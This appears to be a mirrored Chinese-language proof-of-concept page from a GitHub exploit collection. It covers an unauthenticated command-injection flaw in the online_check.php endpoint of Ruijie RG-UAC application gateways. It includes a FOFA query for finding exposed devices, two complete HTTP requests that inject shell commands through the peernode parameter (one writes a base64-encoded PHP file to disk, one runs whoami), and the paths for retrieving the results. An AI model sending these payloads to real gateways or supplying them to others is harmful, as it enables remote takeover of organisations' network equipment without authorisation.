mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 11:57:27 +00:00
90 lines
3.1 KiB
Markdown
90 lines
3.1 KiB
Markdown
|
|
# 锐捷RG-UAC应用网关online_check.php前台RCE漏洞
|
|||
|
|
|
|||
|
|
### 一、漏洞描述
|
|||
|
|
<font style="color:rgba(0, 0, 0, 0.9);">锐捷RG-UAC应用管理网关 online_check.php 接口处存在命令执行漏洞,未经身份认证的攻击者可执行任意命令控制服务器权限。</font>
|
|||
|
|
|
|||
|
|
### 二、影响版本
|
|||
|
|
锐捷RG-UAC应用网关
|
|||
|
|
|
|||
|
|
### 三、资产测绘
|
|||
|
|
fofa:app="Ruijie-RG-UAC"
|
|||
|
|
|
|||
|
|
特征:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 四、漏洞复现
|
|||
|
|
访问该链接出现如下页面表示可能存在漏洞
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
/view/vpn/autovpn/online_check.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
iii:0,hit:0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过以下poc写入文件
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`echo%20PD9waHAgZWNobyAxMTEqMTExOyB1bmxpbmsoX19GSUxFX18pOyA/Pg==%20|%20base64%20-d%20%3E%20test.php` HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Connection: close
|
|||
|
|
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
|
|||
|
|
Sec-Ch-Ua-Mobile: ?0
|
|||
|
|
Sec-Ch-Ua-Platform: "Windows"
|
|||
|
|
Sec-Fetch-Dest: document
|
|||
|
|
Sec-Fetch-Mode: navigate
|
|||
|
|
Sec-Fetch-Site: none
|
|||
|
|
Sec-Fetch-User: ?1
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
文件写入位置
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
/view/vpn/autovpn/test.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过如下poc执行命令
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
GET /view/vpn/autovpn/online_check.php?peernode=%20|%20`whoami%20>%201.txt` HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Connection: close
|
|||
|
|
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
|
|||
|
|
Sec-Ch-Ua-Mobile: ?0
|
|||
|
|
Sec-Ch-Ua-Platform: "Windows"
|
|||
|
|
Sec-Fetch-Dest: document
|
|||
|
|
Sec-Fetch-Mode: navigate
|
|||
|
|
Sec-Fetch-Site: none
|
|||
|
|
Sec-Fetch-User: ?1
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
获取命令执行结果
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
/view/vpn/autovpn/1.txt
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-06-24 11:42:29
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ektr1dwcngu6c0ct>
|